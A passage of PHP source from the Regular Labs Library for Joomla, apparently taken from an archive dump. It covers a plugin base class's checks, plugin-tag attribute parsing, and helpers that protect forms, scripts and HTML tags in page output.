$area = isset($article->created_by) ? 'article' :
'other';
$context = (($params instanceof \JRegistry) &&
$params->get('rl_search')) ? 'com_search.' .
$params->get('readmore_limit') : $context;
if ( ! $this->handleOnContentPrepare($area, $context, $article,
$params, $page))
{
return false;
}
Article::process($article, $context, $this, 'processArticle',
[$area, $context, $article, $page]);
return true;
}
/**
* @param JForm $form The form to be altered.
* @param mixed $data The associated data for the form.
*
* @return bool
*/
public function onContentPrepareForm(JForm $form, $data)
{
if ( ! $this->passChecks())
{
return true;
}
return $this->handleOnContentPrepareForm($form, $data);
}
/**
* @return void
*/
public function onAfterRender()
{
if ( ! $this->passChecks())
{
return;
}
$this->handleOnAfterRender();
$html = $this->app->getBody();
if ($html == '')
{
return;
}
if ( ! $this->changeFinalHtmlOutput($html))
{
return;
}
$this->cleanFinalHtmlOutput($html);
$this->app->setBody($html);
}
/**
* @return void
*/
protected function handleOnAfterRoute()
{
}
/**
* @return void
*/
protected function handleOnAfterDispatch()
{
}
/**
* @return void
*/
protected function handleOnAfterInitialise()
{
}
/**
* @param string $area
* @param string $context The context of the content being passed to
the plugin.
* @param mixed $article An object with a "text" property
* @param mixed &$params Additional parameters. See {@see
PlgContentContent()}.
* @param int $page Optional page number. Unused. Defaults to
zero.
*
* @return bool
*/
protected function handleOnContentPrepare($area, $context, &$article,
&$params, $page = 0)
{
return true;
}
/**
* @param JForm $form The form to be altered.
* @param mixed $data The associated data for the form.
*
* @return bool
*/
protected function handleOnContentPrepareForm(JForm $form, $data)
{
return true;
}
/**
* @param string $buffer
*
* @return void
*/
protected function loadStylesAndScripts(&$buffer)
{
}
/**
* @return void
*
* Consider using changeFinalHtmlOutput instead
*/
protected function handleOnAfterRender()
{
}
/**
* @param string &$string
* @param string $area
* @param string $context The context of the content being passed to the
plugin.
* @param mixed $article An object with a "text" property
* @param int $page Optional page number. Unused. Defaults to zero.
*
* @return void
*/
public function processArticle(&$string, $area = 'article',
$context = '', $article = null, $page = 0)
{
}
/**
* @param string $buffer
*
* @return bool
*/
protected function changeDocumentBuffer(&$buffer)
{
return false;
}
/**
* @param string $html
*
* @return bool
*/
protected function changeFinalHtmlOutput(&$html)
{
return false;
}
/**
* @param string $html
*
* @return void
*/
protected function cleanFinalHtmlOutput(&$html)
{
}
/**
* @return bool
*/
protected function passChecks()
{
if ( ! is_null($this->_pass))
{
return $this->_pass;
}
$this->_pass = false;
if ( ! $this->isFrameworkEnabled())
{
return false;
}
if ( ! $this->passPageTypes())
{
return false;
}
// allow in frontend?
if ( ! $this->_enable_in_frontend
&& ! $this->_is_admin)
{
return false;
}
$params = Parameters::getInstance()->getPluginParams($this->_name);
// allow in admin?
if ( ! $this->_enable_in_admin
&& $this->_is_admin
&& ( ! isset($params->enable_admin) || !
$params->enable_admin))
{
return false;
}
// disabled by url?
if ($this->_can_disable_by_url
&& Protect::isDisabledByUrl($this->_alias))
{
return false;
}
// disabled by component?
if ($this->_disable_on_components
&&
Protect::isRestrictedComponent(isset($params->disabled_components) ?
$params->disabled_components : [], 'component'))
{
return false;
}
// restricted page?
if (Protect::isRestrictedPage($this->_has_tags,
$this->_protected_formats))
{
return false;
}
if ( ! $this->extraChecks())
{
return false;
}
$this->_pass = true;
return true;
}
protected function passPageTypes()
{
if (empty($this->_page_types))
{
return true;
}
if (in_array('*', $this->_page_types))
{
return true;
}
if (empty(JFactory::$document))
{
return true;
}
if (Document::isFeed())
{
return in_array('feed', $this->_page_types);
}
if (Document::isPDF())
{
return in_array('pdf', $this->_page_types);
}
$page_type = JFactory::getDocument()->getType();
if (in_array($page_type, $this->_page_types))
{
return true;
}
return false;
}
protected function extraChecks()
{
$input = JFactory::getApplication()->input;
// Disable on Gridbox edit form: option=com_gridbox&view=gridbox
if ($input->get('option') == 'com_gridbox'
&& $input->get('view') == 'gridbox')
{
return false;
}
// Disable on SP PageBuilder edit form:
option=com_sppagebuilder&view=form
if ($input->get('option') == 'com_sppagebuilder'
&& $input->get('view') == 'form')
{
return false;
}
return true;
}
protected function init()
{
return;
}
/**
* Check if the Regular Labs Library is enabled
*
* @return bool
*/
private function isFrameworkEnabled()
{
if ( ! defined('REGULAR_LABS_LIBRARY_ENABLED'))
{
$this->setIsFrameworkEnabled();
}
if ( ! REGULAR_LABS_LIBRARY_ENABLED)
{
$this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');
}
return REGULAR_LABS_LIBRARY_ENABLED;
}
/**
* Set the define with whether the Regular Labs Library is enabled
*/
private function setIsFrameworkEnabled()
{
if ( ! JPluginHelper::isEnabled('system',
'regularlabs'))
{
$this->throwError('REGULAR_LABS_LIBRARY_NOT_ENABLED');
define('REGULAR_LABS_LIBRARY_ENABLED', false);
return;
}
define('REGULAR_LABS_LIBRARY_ENABLED', true);
}
/**
* Place an error in the message queue
*/
protected function throwError($error)
{
// Return if page is not an admin page or the admin login page
if (
! JFactory::getApplication()->isClient('administrator')
|| JFactory::getUser()->get('guest')
)
{
return;
}
// load the admin language file
JFactory::getLanguage()->load('plg_' . $this->_type .
'_' . $this->_name, JPATH_PLUGINS . '/' .
$this->_type . '/' . $this->_name);
$text = JText::sprintf($this->_lang_prefix . '_' . $error,
JText::_($this->_title));
$text = JText::_($text) . ' ' .
JText::sprintf($this->_lang_prefix .
'_EXTENSION_CAN_NOT_FUNCTION', JText::_($this->_title));
// Check if message is not already in queue
$messagequeue = JFactory::getApplication()->getMessageQueue();
foreach ($messagequeue as $message)
{
if ($message['message'] == $text)
{
return;
}
}
JFactory::getApplication()->enqueueMessage($text, 'error');
}
}
src/PluginTag.php000064400000043744151165347540007765 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class PluginTag
* @package RegularLabs\Library
*/
class PluginTag
{
/**
* @var array
*/
static $protected_characters = [
'=' => '[[:EQUAL:]]',
'"' => '[[:QUOTE:]]',
',' => '[[:COMMA:]]',
'|' => '[[:BAR:]]',
':' => '[[:COLON:]]',
];
/**
* Cleans the given tag word
*
* @param string $string
*
* @return string
*/
public static function clean($string = '')
{
return RegEx::replace('[^a-z0-9-_]', '', $string);
}
/**
* Get the attributes from plugin style string
*
* @param string $string
* @param string $main_key
* @param array $known_boolean_keys
* @param array $keep_escaped_chars
*
* @return object
*/
public static function getAttributesFromString($string = '',
$main_key = 'title', $known_boolean_keys = [],
$keep_escaped_chars = [','])
{
if (empty($string))
{
return (object) [];
}
// Replace html entity quotes to normal quotes
if (strpos($string, '"') === false)
{
$string = str_replace('"', '"',
$string);
}
self::protectSpecialChars($string);
// replace weird whitespace
$string = str_replace(chr(194) . chr(160), ' ', $string);
// Replace html entity spaces between attributes to normal spaces
$string =
RegEx::replace('((?:^|")\s*) (\s*(?:[a-z]|$))',
'\1 \2', $string);
// Only one value, so return simple key/value object
if (strpos($string, '|') == false && !
RegEx::match('=\s*["\']', $string))
{
self::unprotectSpecialChars($string, $keep_escaped_chars);
return (object) [$main_key => $string];
}
// No foo="bar" syntax found, so assume old syntax
if ( ! RegEx::match('=\s*["\']', $string))
{
self::unprotectSpecialChars($string, $keep_escaped_chars);
$attributes = self::getAttributesFromStringOld($string, [$main_key]);
self::convertOldSyntax($attributes, $known_boolean_keys);
return $attributes;
}
// Cannot find right syntax, so return simple key/value object
if ( !
RegEx::matchAll('(?:^|\s)(?<key>[a-z0-9-_\:]+)\s*(?<not>\!?)=\s*(["\'])(?<value>.*?)\3',
$string, $matches))
{
self::unprotectSpecialChars($string, $keep_escaped_chars);
return (object) [$main_key => $string];
}
$tag = (object) [];
foreach ($matches as $match)
{
$tag->{$match['key']} =
self::getAttributeValueFromMatch($match, $known_boolean_keys,
$keep_escaped_chars);
}
return $tag;
}
/**
* Get the value from a found attribute match
*
* @param array $match
* @param array $known_boolean_keys
* @param array $keep_escaped_chars
*
* @return bool|int|string
*/
private static function getAttributeValueFromMatch($match,
$known_boolean_keys = [], $keep_escaped_chars = [','])
{
$value = $match['value'];
self::unprotectSpecialChars($value, $keep_escaped_chars);
if (is_numeric($value)
&& (
in_array($match['key'], $known_boolean_keys)
|| in_array(strtolower($match['key']), $known_boolean_keys)
)
)
{
$value = $value ? 'true' : 'false';
}
// Convert numeric values to ints/floats
if (is_numeric($value))
{
$value = $value + 0;
}
// Convert boolean values to actual booleans
if ($value === 'true' || $value === true)
{
return $match['not'] ? false : true;
}
if ($value === 'false' || $value === false)
{
return $match['not'] ? true : false;
}
return $match['not'] ? '!NOT!' . $value : $value;
}
/**
* Replace special characters in the string with the protected versions
*
* @param string $string
*/
public static function protectSpecialChars(&$string)
{
$unescaped_chars = array_keys(self::$protected_characters);
array_walk($unescaped_chars, function (&$char) {
$char = '\\' . $char;
});
// replace escaped characters with special markup
$string = str_replace(
$unescaped_chars,
array_values(self::$protected_characters),
$string
);
if ( ! RegEx::matchAll(
'(<.*?>|{.*?}|\[.*?\])',
$string,
$tags,
null,
PREG_PATTERN_ORDER
)
)
{
return;
}
foreach ($tags[0] as $tag)
{
// replace unescaped characters with special markup
$protected = str_replace(
['=', '"'],
[self::$protected_characters['='],
self::$protected_characters['"']],
$tag
);
$string = str_replace($tag, $protected, $string);
}
}
/**
* Replace protected characters in the string with the original special
versions
*
* @param string $string
* @param array $keep_escaped_chars
*/
public static function unprotectSpecialChars(&$string,
$keep_escaped_chars = [])
{
$unescaped_chars = array_keys(self::$protected_characters);
if ( ! empty($keep_escaped_chars))
{
array_walk($unescaped_chars, function (&$char, $key,
$keep_escaped_chars) {
if (is_array($keep_escaped_chars) && ! in_array($char,
$keep_escaped_chars))
{
return;
}
$char = '\\' . $char;
}, $keep_escaped_chars);
}
// replace special markup with unescaped characters
$string = str_replace(
array_values(self::$protected_characters),
$unescaped_chars,
$string
);
}
/**
* Only used for old syntaxes
*
* @param string $string
* @param array $keys
* @param string $separator
* @param string $equal
* @param int $limit
*
* @return object
*/
public static function getAttributesFromStringOld($string = '',
$keys = ['title'], $separator = '|', $equal =
'=', $limit = 0)
{
$temp_separator = '[[SEPARATOR]]';
$temp_equal = '[[EQUAL]]';
$tag_start = '[[TAG]]';
$tag_end = '[[/TAG]]';
// replace separators and equal signs with special markup
$string = str_replace([$separator, $equal], [$temp_separator,
$temp_equal], $string);
// replace protected separators and equal signs back to original
$string = str_replace(['\\' . $temp_separator, '\\' .
$temp_equal], [$separator, $equal], $string);
// protect all html tags
RegEx::matchAll('</?[a-z][^>]*>', $string, $tags);
if ( ! empty($tags))
{
foreach ($tags as $tag)
{
$string = str_replace(
$tag[0],
$tag_start . base64_encode(str_replace([$temp_separator, $temp_equal],
[$separator, $equal], $tag[0])) . $tag_end,
$string
);
}
}
// split string into array
$attribs = $limit
? explode($temp_separator, $string, (int) $limit)
: explode($temp_separator, $string);
$attributes = (object) [
'params' => [],
];
// loop through splits
foreach ($attribs as $i => $keyval)
{
// spit part into key and val by equal sign
$keyval = explode($temp_equal, $keyval, 2);
if (isset($keyval[1]))
{
$keyval[1] = str_replace([$temp_separator, $temp_equal], [$separator,
$equal], $keyval[1]);
}
// unprotect tags in key and val
foreach ($keyval as $key => $value)
{
RegEx::matchAll(RegEx::quote($tag_start) . '(.*?)' .
RegEx::quote($tag_end), $value, $tags);
if (empty($tags))
{
continue;
}
foreach ($tags as $tag)
{
$value = str_replace($tag[0], base64_decode($tag[1]), $value);
}
$keyval[trim($key)] = $value;
}
if (isset($keys[$i]))
{
$key = trim($keys[$i]);
// if value is in the keys array add as defined in keys array
// ignore equal sign
$value = implode($equal, $keyval);
if (substr($value, 0, strlen($key) + 1) == $key . '=')
{
$value = substr($value, strlen($key) + 1);
}
$attributes->{$key} = $value;
unset($keys[$i]);
continue;
}
// else add as defined in the string
if (isset($keyval[1]))
{
$value = $keyval[1];
$value = trim($value, '"');
if ($value === 'true' || $value === true)
{
$value = true;
}
if ($value === 'false' || $value === false)
{
$value = false;
}
$attributes->{$keyval[0]} = $value;
continue;
}
$attributes->params[] = implode($equal, $keyval);
}
return $attributes;
}
/**
* Replace keys aliases with the main key names in an object
*
* @param object $attributes
* @param array $key_aliases
* @param bool $handle_plurals
*/
public static function replaceKeyAliases(&$attributes, $key_aliases =
[], $handle_plurals = false)
{
foreach ($key_aliases as $key => $aliases)
{
if (self::replaceKeyAlias($attributes, $key, $key, $handle_plurals))
{
continue;
}
foreach ($aliases as $alias)
{
if ( ! isset($attributes->{$alias}))
{
continue;
}
if (self::replaceKeyAlias($attributes, $key, $alias, $handle_plurals))
{
break;
}
}
}
}
/**
* Replace specific key alias with the main key name in an object
*
* @param object $attributes
* @param string $key
* @param string $alias
* @param bool $handle_plurals
*
* @return bool
*/
private static function replaceKeyAlias(&$attributes, $key, $alias,
$handle_plurals = false)
{
if ($handle_plurals)
{
if (self::replaceKeyAlias($attributes, $key, $alias . 's'))
{
return true;
}
if (substr($alias, -1) == 's' &&
self::replaceKeyAlias($attributes, $key, substr($alias, 0, -1)))
{
return true;
}
}
if (isset($attributes->{$key}))
{
return true;
}
if ( ! isset($attributes->{$alias}))
{
return false;
}
$attributes->{$key} = $attributes->{$alias};
unset($attributes->{$alias});
return true;
}
/**
* Convert an object using the old param style to the new syntax
*
* @param object $attributes
* @param array $known_boolean_keys
* @param string $extra_key
*/
public static function convertOldSyntax(&$attributes,
$known_boolean_keys = [], $extra_key = 'class')
{
$extra = isset($attributes->class) ? [$attributes->class] : [];
foreach ($attributes->params as $i => $param)
{
if ( ! $param)
{
continue;
}
if (in_array($param, $known_boolean_keys))
{
$attributes->{$param} = true;
continue;
}
if (strpos($param, '=') == false)
{
$extra[] = $param;
continue;
}
list($key, $val) = explode('=', $param, 2);
$attributes->{$key} = $val;
}
$attributes->{$extra_key} = trim(implode(' ', $extra));
unset($attributes->params);
}
/**
* Return the Regular Expressions string to match:
* Different types of spaces
*
* @param string $modifier
*
* @return string
*/
public static function getRegexSpaces($modifier = '+')
{
return '(?:\s| |&\#160;)' . $modifier;
}
/**
* Return the Regular Expressions string to match:
* Plugin type tags inside others
*
* @return string
*/
public static function getRegexInsideTag($start_character = '{',
$end_character = '}')
{
$s = RegEx::quote($start_character);
$e = RegEx::quote($end_character);
return '(?:[^' . $s . $e . ']*' . $s . '[^'
. $e . ']*' . $e . ')*.*?';
}
/**
* Return the Regular Expressions string to match:
* html before plugin tag
*
* @param string $group_id
*
* @return string
*/
public static function getRegexLeadingHtml($group_id = '')
{
$group = 'leading_block_element';
$html_tag_group = 'html_tag';
if ($group_id)
{
$group .= '_' . $group_id;
$html_tag_group .= '_' . $group_id;
}
$block_elements = Html::getBlockElements(['div']);
$block_element = '(?<' . $group . '>' .
implode('|', $block_elements) . ')';
$other_html = '[^<]*(<(?<' . $html_tag_group .
'>[a-z][a-z0-9_-]*)[\s>]([^<]*</(?P=' .
$html_tag_group . ')>)?[^<]*)*';
// Grab starting block element tag and any html after it (that is not the
same block element starting/ending tag).
return '(?:'
. '<' . $block_element . '(?: [^>]*)?>'
. $other_html
. ')?';
}
/**
* Return the Regular Expressions string to match:
* html after plugin tag
*
* @param string $group_id
*
* @return string
*/
public static function getRegexTrailingHtml($group_id = '')
{
$group = 'leading_block_element';
if ($group_id)
{
$group .= '_' . $group_id;
}
// If the grouped name is found, then grab all content till ending html
tag is found. Otherwise grab nothing.
return '(?(<' . $group . '>)'
. '(?:.*?</(?P=' . $group . ')>)?'
. ')';
}
/**
* Return the Regular Expressions string to match:
* Opening html tags
*
* @param array $block_elements
* @param array $inline_elements
* @param array $excluded_block_elements
*
* @return string
*/
public static function getRegexSurroundingTagsPre($block_elements = [],
$inline_elements = ['span'], $excluded_block_elements = [])
{
$block_elements = ! empty($block_elements) ? $block_elements :
Html::getBlockElements($excluded_block_elements);
$regex = '(?:<(?:' . implode('|', $block_elements)
. ')(?: [^>]*)?>\s*(?:<br ?/?>\s*)*)?';
if ( ! empty($inline_elements))
{
$regex .= '(?:<(?:' . implode('|',
$inline_elements) . ')(?: [^>]*)?>\s*(?:<br
?/?>\s*)*){0,3}';
}
return $regex;
}
/**
* Return the Regular Expressions string to match:
* Closing html tags
*
* @param array $block_elements
* @param array $inline_elements
* @param array $excluded_block_elements
*
* @return string
*/
public static function getRegexSurroundingTagsPost($block_elements = [],
$inline_elements = ['span'], $excluded_block_elements = [])
{
$block_elements = ! empty($block_elements) ? $block_elements :
Html::getBlockElements($excluded_block_elements);
$regex = '';
if ( ! empty($inline_elements))
{
$regex .= '(?:(?:\s*<br ?/?>)*\s*<\/(?:' .
implode('|', $inline_elements) . ')>){0,3}';
}
$regex .= '(?:(?:\s*<br ?/?>)*\s*<\/(?:' .
implode('|', $block_elements) . ')>)?';
return $regex;
}
/**
* Return the Regular Expressions string to match:
* Leading html tag
*
* @param array $elements
*
* @return string
*/
public static function getRegexSurroundingTagPre($elements = [])
{
$elements = ! empty($elements) ? $elements :
array_merge(Html::getBlockElements(), ['span']);
return '(?:<(?:' . implode('|', $elements) .
')(?: [^>]*)?>\s*(?:<br ?/?>\s*)*)?';
}
/**
* Return the Regular Expressions string to match:
* Trailing html tag
*
* @param array $elements
*
* @return string
*/
public static function getRegexSurroundingTagPost($elements = [])
{
$elements = ! empty($elements) ? $elements :
array_merge(Html::getBlockElements(), ['span']);
return '(?:(?:\s*<br ?/?>)*\s*<\/(?:' .
implode('|', $elements) . ')>)?';
}
/**
* Return the Regular Expressions string to match:
* Plugin style tags
*
* @param array $tags
* @param bool $include_no_attributes
* @param bool $include_ending
* @param array $required_attributes
*
* @return string
*/
public static function getRegexTags($tags, $include_no_attributes = true,
$include_ending = true, $required_attributes = [])
{
$tags = ArrayHelper::toArray($tags);
$tags = count($tags) > 1 ? '(?:' . implode('|',
$tags) . ')' : $tags[0];
$value =
'(?:\s*=\s*(?:"[^"]*"|\'[^\']*\'|[a-z0-9-_]+))?';
$attributes = '(?:\s+[a-z0-9-_]+' . $value . ')+';
$required_attributes = ArrayHelper::toArray($required_attributes);
if ( ! empty($required_attributes))
{
$attributes = '(?:' . $attributes . ')?' .
'(?:\s+' . implode('|', $required_attributes) .
')' . $value . '(?:' . $attributes . ')?';
}
if ($include_no_attributes)
{
$attributes = '\s*(?:' . $attributes . ')?';
}
if ( ! $include_ending)
{
return '<' . $tags . $attributes . '\s*/?>';
}
return '<(?:\/' . $tags . '|' . $tags .
$attributes . '\s*/?)\s*/?>';
}
/**
* Extract the plugin style div tags with the possible attributes. like:
* {div width:100|float:left}...{/div}
*
* @param string $start_tag
* @param string $end_tag
* @param string $tag_start
* @param string $tag_end
*
* @return array
*/
public static function getDivTags($start_tag = '', $end_tag =
'', $tag_start = '{', $tag_end = '}')
{
$tag_start = RegEx::quote($tag_start);
$tag_end = RegEx::quote($tag_end);
$start_div = ['pre' => '', 'tag' =>
'', 'post' => ''];
$end_div = ['pre' => '', 'tag' =>
'', 'post' => ''];
if ( ! empty($start_tag)
&& RegEx::match(
'^(?<pre>.*?)(?<tag>' . $tag_start . 'div(?:
.*?)?' . $tag_end . ')(?<post>.*)$',
$start_tag,
$match
)
)
{
$start_div = $match;
}
if ( ! empty($end_tag)
&& RegEx::match(
'^(?<pre>.*?)(?<tag>' . $tag_start .
'/div' . $tag_end . ')(?<post>.*)$',
$end_tag,
$match
)
)
{
$end_div = $match;
}
if (empty($start_div['tag']) ||
empty($end_div['tag']))
{
return [$start_div, $end_div];
}
$attribs = trim(RegEx::replace($tag_start . 'div(.*)' .
$tag_end, '\1', $start_div['tag']));
$start_div['tag'] = '<div>';
$end_div['tag'] = '</div>';
if (empty($attribs))
{
return [$start_div, $end_div];
}
$attribs = self::getDivAttributes($attribs);
$style = [];
if (isset($attribs->width))
{
if (is_numeric($attribs->width))
{
$attribs->width .= 'px';
}
$style[] = 'width:' . $attribs->width;
}
if (isset($attribs->height))
{
if (is_numeric($attribs->height))
{
$attribs->height .= 'px';
}
$style[] = 'height:' . $attribs->height;
}
if (isset($attribs->align))
{
$style[] = 'float:' . $attribs->align;
}
if ( ! isset($attribs->align) && isset($attribs->float))
{
$style[] = 'float:' . $attribs->float;
}
$attribs = isset($attribs->class) ? 'class="' .
$attribs->class . '"' : '';
if ( ! empty($style))
{
$attribs .= ' style="' . implode(';', $style) .
';"';
}
$start_div['tag'] = trim('<div ' . trim($attribs))
. '>';
return [$start_div, $end_div];
}
/**
* Get the attributes from a plugin style div tag
*
* @param string $string
*
* @return object
*/
private static function getDivAttributes($string)
{
if (strpos($string, '="') !== false)
{
return self::getAttributesFromString($string);
}
$parts = explode('|', $string);
$attributes = (object) [];
foreach ($parts as $e)
{
if (strpos($e, ':') === false)
{
continue;
}
list($key, $val) = explode(':', $e, 2);
$attributes->{$key} = $val;
}
return $attributes;
}
}
src/Protect.php000064400000066450151165347540007512 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Access\Access as JAccess;
use Joomla\CMS\Factory as JFactory;
jimport('joomla.filesystem.file');
/**
* Class Protect
* @package RegularLabs\Library
*/
class Protect
{
static $protect_start = '<!-- ___RL_PROTECTED___';
static $protect_end = '___RL_PROTECTED___ -->';
static $protect_tags_start = '<!--
___RL_PROTECTED_TAGS___';
static $protect_tags_end = '___RL_PROTECTED_TAGS___ -->';
static $html_safe_start = '___RL_PROTECTED___';
static $html_safe_end = '___/RL_PROTECTED___';
static $html_safe_tags_start = '___RL_PROTECTED_TAGS___';
static $html_safe_tags_end = '___/RL_PROTECTED_TAGS___';
static $sourcerer_tag = null;
static $sourcerer_characters = '{.}';
/**
* Check if page should be protected for given extension
*
* @param string $extension_alias
*
* @return bool
*/
public static function isDisabledByUrl($extension_alias = '')
{
// return if disabled via url
if (($extension_alias &&
JFactory::getApplication()->input->get('disable_' .
$extension_alias)))
{
return true;
}
}
/**
* Check if page should be protected for given extension
*
* @param bool $hastags
* @param array $restricted_formats
*
* @return bool
*/
public static function isRestrictedPage($hastags = false,
$restricted_formats = [])
{
$cache_id = 'isRestrictedPage_' . $hastags . '_' .
json_encode($restricted_formats);
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
$input = JFactory::getApplication()->input;
// return if current page is in protected formats
// return if current page is an image
// return if current page is an installation page
// return if current page is Regular Labs QuickPage
// return if current page is a JoomFish or Josetta page
$is_restricted = (
in_array($input->get('format'), $restricted_formats)
// || in_array($input->get('view'), ['image',
'img'])
|| in_array($input->get('type'), ['image',
'img'])
|| in_array($input->get('task'),
['install.install', 'install.ajax_upload'])
|| ($hastags && $input->getInt('rl_qp', 0))
|| ($hastags && in_array($input->get('option'),
['com_joomfishplus', 'com_josetta']))
|| (Document::isClient('administrator') &&
in_array($input->get('option'), ['com_jdownloads']))
);
return Cache::set(
$cache_id,
$is_restricted
);
}
/**
* @deprecated Use isDisabledByUrl() and isRestrictedPage()
*/
public static function isProtectedPage($extension_alias = '',
$hastags = false, $exclude_formats = [])
{
if (self::isDisabledByUrl($extension_alias))
{
return true;
}
return self::isRestrictedPage($hastags, $exclude_formats);
}
/**
* Check if the page is a restricted component
*
* @param array $restricted_components
* @param string $area
*
* @return bool
*/
public static function isRestrictedComponent($restricted_components, $area
= 'component')
{
if ($area != 'component' && ! ($area ==
'article' &&
JFactory::getApplication()->input->get('option') ==
'com_content'))
{
return false;
}
$restricted_components = ArrayHelper::toArray(str_replace('|',
',', $restricted_components));
$restricted_components = ArrayHelper::clean($restricted_components);
if ( ! empty($restricted_components) &&
in_array(JFactory::getApplication()->input->get('option'),
$restricted_components))
{
return true;
}
if (JFactory::getApplication()->input->get('option') ==
'com_acymailing'
&& !
in_array(JFactory::getApplication()->input->get('ctrl'),
['user', 'archive'])
&& !
in_array(JFactory::getApplication()->input->get('view'),
['user', 'archive'])
)
{
return true;
}
return false;
}
/**
* Check if the component is installed
*
* @param string $extension_alias
*
* @return bool
*/
public static function isComponentInstalled($extension_alias)
{
return file_exists(JPATH_ADMINISTRATOR . '/components/com_' .
$extension_alias . '/' . $extension_alias . '.php');
}
/**
* Check if the component is installed
*
* @param string $extension_alias
*
* @return bool
*/
public static function isSystemPluginInstalled($extension_alias)
{
return file_exists(JPATH_PLUGINS . '/system/' .
$extension_alias . '/' . $extension_alias . '.php');
}
/**
* Return the Regular Expressions string to match:
* The edit form
*
* @param array $form_classes
*
* @return string
*/
public static function getFormRegex($form_classes = [])
{
$form_classes = ArrayHelper::toArray($form_classes);
return '(<form\s[^>]*('
.
'(id|name)="(adminForm|postform|submissionForm|default_action_user|seblod_form|spEntryForm)"'
.
'|action="[^"]*option=com_myjspace&(amp;)?view=see"'
. (! empty($form_classes) ? '|class="([^"]* )?(' .
implode('|', $form_classes) . ')( [^"]*)?"' :
'')
. '))';
}
/**
* Protect all text based form fields
*
* @param string $string
* @param array $search_strings
*/
public static function protectFields(&$string, $search_strings = [])
{
// No specified strings tags found in the string
if ( ! self::containsStringsToProtect($string, $search_strings))
{
return;
}
$parts = StringHelper::split($string, ['</label>',
'</select>']);
foreach ($parts as &$part)
{
if ( ! self::containsStringsToProtect($part, $search_strings))
{
continue;
}
self::protectFieldsPart($part);
}
$string = implode('', $parts);
}
/**
* Check if the string contains certain substrings to protect
*
* @param string $string
* @param array $search_strings
*
* @return bool
*/
private static function containsStringsToProtect($string, $search_strings
= [])
{
if (
empty($string)
|| (
strpos($string, '<input') === false
&& strpos($string, '<textarea') === false
&& strpos($string, '<select') === false
)
)
{
return false;
}
// No specified strings tags found in the string
if ( ! empty($search_strings) && !
StringHelper::contains($string, $search_strings))
{
return false;
}
return true;
}
/**
* Protect the fields in the string
*
* @param string $string
*/
private static function protectFieldsPart(&$string)
{
self::protectFieldsTextAreas($string);
self::protectFieldsInputFields($string);
}
/**
* Protect the textarea fields in the string
*
* @param string $string
*/
private static function protectFieldsTextAreas(&$string)
{
if (strpos($string, '<textarea') === false)
{
return;
}
// Only replace non-empty textareas
// Todo: maybe also prevent empty textareas but with a non-empty
placeholder attribute
// Temporarily replace empty textareas
$temp_tag = '___TEMP_TEXTAREA___';
$string = RegEx::replace(
'<textarea((?:\s[^>]*)?)>(\s*)</textarea>',
'<' . $temp_tag . '\1>\2</' . $temp_tag .
'>',
$string
);
self::protectByRegex(
$string,
'(?:'
. '<textarea.*?</textarea>'
. '\s*)+'
);
// Replace back the temporarily replaced empty textareas
$string = str_replace($temp_tag, 'textarea', $string);
}
/**
* Protect the input fields in the string
*
* @param string $string
*/
private static function protectFieldsInputFields(&$string)
{
if (strpos($string, '<input') === false)
{
return;
}
$type_values = '(?:text|email|hidden)';
// must be of certain type
$param_type = '\s+type\s*=\s*(?:"' . $type_values .
'"|\'' . $type_values . '\'])';
// must have a non-empty value or placeholder attribute
$param_value =
'\s+(?:value|placeholder)\s*=\s*(?:"[^"]+"|\'[^\']+\'])';
// Regex to match any other parameter
$params =
'(?:\s+[a-z][a-z0-9-_]*(?:\s*=\s*(?:"[^"]*"|\'[^\']*\'|[0-9]+))?)*';
self::protectByRegex(
$string,
'(?:(?:'
. '<input' . $params . $param_type . $params . $param_value
. $params . '\s*/?>'
. '|<input' . $params . $param_value . $params .
$param_type . $params . '\s*/?>'
. ')\s*)+'
);
}
/**
* Protect the script tags
*
* @param string $string
*/
public static function protectScripts(&$string)
{
if (strpos($string, '</script>') === false)
{
return;
}
self::protectByRegex(
$string,
'<script[\s>].*?</script>'
);
}
/**
* Protect all html tags with some type of attributes/content
*
* @param string $string
*/
public static function protectHtmlTags(&$string)
{
// protect comment tags
self::protectHtmlCommentTags($string);
// protect html tags
self::protectByRegex($string,
'<[a-z][^>]*(?:="[^"]*"|=\'[^\']*\')+[^>]*>');
}
/**
* Protect all html comment tags
*
* @param string $string
*/
public static function protectHtmlCommentTags(&$string)
{
// protect comment tags
self::protectByRegex($string, '<\!--.*?-->');
}
/**
* Protect text by given regex
*
* @param string $string
* @param string $regex
*/
public static function protectByRegex(&$string, $regex)
{
RegEx::matchAll($regex, $string, $matches, null, PREG_PATTERN_ORDER);
if (empty($matches))
{
return;
}
$matches = array_unique($matches[0]);
$replacements = [];
foreach ($matches as $match)
{
$replacements[] = self::protectString($match);
}
$string = str_replace($matches, $replacements, $string);
}
/**
* Protect given plugin style tags
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
*/
public static function protectTags(&$string, $tags = [],
$include_closing_tags = true)
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
$string = str_replace($tags, $protected, $string);
}
/**
* Replace any protected tags to original
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
*/
public static function unprotectTags(&$string, $tags = [],
$include_closing_tags = true)
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
$string = str_replace($protected, $tags, $string);
}
/**
* Protect array of strings
*
* @param string $string
* @param array $unprotected
* @param array $protected
*/
public static function protectInString(&$string, $unprotected = [],
$protected = [])
{
$protected = empty($protected) ? self::protectArray($unprotected) :
$protected;
$string = str_replace($unprotected, $protected, $string);
}
/**
* Replace any protected tags to original
*
* @param string $string
* @param array $unprotected
* @param array $protected
*/
public static function unprotectInString(&$string, $unprotected = [],
$protected = [])
{
$protected = empty($protected) ? self::protectArray($unprotected) :
$protected;
$string = str_replace($protected, $unprotected, $string);
}
/**
* Return the sourcerer tag name and characters
*
* @return array
*/
public static function getSourcererTag()
{
if ( ! is_null(self::$sourcerer_tag))
{
